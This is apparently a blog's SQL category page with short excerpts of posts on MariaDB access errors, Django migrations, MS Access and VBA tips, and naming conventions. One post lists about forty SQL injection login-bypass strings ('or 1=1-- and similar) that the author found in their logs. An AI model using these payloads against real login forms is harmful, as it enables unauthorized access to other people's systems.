SQL

ERROR 1698 (28000): Access denied for user 'root'@'localhost'

ERROR 1698 (28000): Access denied for user 'root'@'localhost' started showing up with the system upgrade to Ubuntu 15 and MariaDB.

Fixes are described at

http://superuser.com/questions/957708/mysql-mariadb-error-1698-28000-access-denied-for-user-rootlocalhost/963968

http://superuser.com/questions/949496/cant-reset-mysql-mariadb-root-password

However, there's a way to preserve the additiona

LibreOffice is a Faster Tool to Load Excel Data into an SQL Database

We wanted to know how Bernie Sanders did in several electoral districts.

What are our data sources.

There are two public databases that can help us discover these vote totals. One is the election results broken down by voting precinct. The other is a database that maps the precinct numbers to district numbers.

lavote.net's precinct reports

The Los Angeles County Registrar Recorder publshes vote tallies aggregated by precinct. The problem is, these are reports, not raw or cooked data.

Battle of the Naming Conventions (how to avoid them in Django REST Framework)

Python and Django like snake_case.

AngularJS feels like Java, and likes camelCase.

HTML likes dashed-words.

MySQL docs like snake_case, but I see more PascalCase used in databases. It's case-sensitive, too.

Parse.com uses PascalCase for tables/classes, and camelCase for columns/properties/fields. That's like Java OOP.

Django likes to append _id to your primary keys.

So... the problems start to happen when one piece of named data is passed from one layer of the system to another. It's just a good policy to use the same names at all layers, if possible.

Django migrate MySQL error 1005 105, can't create table

When you have Django's migrations making foreign keys, you might hit this error, number 1005 or 105.

This may be happening because foreign key constraints can be applied only to identical columns that are unique.

So, check that they're unique, and add an index. (If you try to add the index, it'll fail if the values are not unique.)

ALTER TABLE X ADD CONSTRAINT UNIQUE INDEX (COLX);

Then, if you still get the error, check that the character sets are the same on both tables. (I don't think Django's db reflection keeps track of that.)

A List of SQL Injection Attacks

I was looking at some special logs we keep, and found these attempted SQL injection attacks.

~~~~
admin
'
a'or' 1=1--
'or 1=1--
'or''='
'or'='or'
admin' or 'a'='a
admin'or 1=1#
"or "a"="a
'or 1=1/*
'or'a'='a
'or 1=1\0
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'or' '1'='1
'or''=''or''='
'or'='1'
'or1=1--
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or1=1--
'.).or.('.a.'='.a
'or.'a.'='a
')or('a'='a
1'or'1'='1
aaaa
admin
admin' OR 1=1/*
or 1=1--
"or 1=1--
"or 1=1\0
'xor
1 or '1'='1'=1
1 or '1'='1' or 1=1
' UNION Select 1,1,1 FROM adm
~~~~

MS Access:Can't Add New Record to Subform

A subform we were entering data into stopped working. One day it was working, the next, it was not. The problem turned out to be the datasource; the underlying query started with "select distinct". For some reason, probably because there were duplicate records in the underlying table, the query caused the form to stop accepting edits -- it became a read-only query. The solution was to set the uniqueness to "no", which removed the "distinct" from the query.

Some posts on the web say as much: the record source has to be writeable, meaning it can't be a UNION, most JOINs, and DISTINCTs.

MS Access: Quoting Strings in SQL

I was having a real WTF moment with Access. I'd coded up an SQL query in access, and a string had a single quote in it, fouling up the query.

The SQL was something like this:

SELECT * FROM Places WHERE Name='Joe's Bar'

Obviously, I forgot to quote the string correctly. For some reason, web searches didn't really turn up much about quoting text strings in SQL statements in Access. There was a lot of code that looked like this:

sql = "SELECT * FROM Places WHERE NAME='" & name & "'"

MS Access: Inserting Records with Visual Basic and DAO

This example shows you how to add records with VBA and DAO instead of with SQL queries.

MS Access: Display A Subreport Even When There Are No Records

Seems like a lot of people are having a problem because Access automatically hides a subreport if it contains no records.

MS Outlook and Access: Recording Bounced Email Addresses

This is the start of a macro that will scan your Outlook Inbox or a subfolder named "Bounces" for bounce messages, and record such messages to an Access database.

MS Access VBA: Error -2147217900 (80040e14)

Jawahar on Expertsforge says this is an SQL syntax error where a keyword is used as a field name.

In Access, the app finds these keywords and quotes them before running the query. It's all done behind the scenes, but you can expose this feature through the query design tool.

Create a new query in design view. Bring up the SQL view. Paste your SQL in there. (You are probably already be at this point, testing your SQL and knowing it works.)

Terse Javascript Alternations, and the Frameworks' Problem with SQL

Cool

Here's a snippet of javascript that breaks up a phone number into its parts, if it's formatted in the common formats.

    var cell = namesArray[rownum]['Cell'];
    (cell_parts = /\((\d\d\d)\) (\d\d\d)-(\d\d\d\d)/.exec(cell)) ||
    (cell_parts = /(\d\d\d)-(\d\d\d)-(\d\d\d\d)/.exec(cell))     ||
    (cell_parts = /(\d\d\d)(\d\d\d)(\d\d\d\d)/.exec(cell))       ||
    (cell_parts = ['','','',''])

It's pretty short, no?

What's nice about it is that it parses several formats, but doesn't collapse all these possibilities into a single regex.

Hierarchical Report Generator for CakePHP

This is a CakePHP component to create hierarchical reports.

It's not really canonical Cake, because it only works with MySQL.

It basically works, but is rough. It can be used in a non-Cake context, to some extent.

A hierarchical report is just a report with several reports in it, and they are arranged hierarchically. For example, this reports on attendance at an event, for several events, on several different dates.

MS Access: A Hack to Print Blank Rows in a Report

This is a way to insert empty or empty-like rows into a list of "seats" that contains not only reservations, but a number saying how many seats a group of people have. If the number is greater than the number of seats, this adds new blank rows for empty seats.

Sub insertBlankRows()
    Dim dbs As Database, qdf As QueryDef, strSQL As String
    Dim rst As Recordset
    
    Set dbs = CurrentDb
    strSQL = "SELECT tblSeats.OrganizationId, [MaxOfSeats]-Count([OrganizationId]) AS Difference, " & _
Syndicate content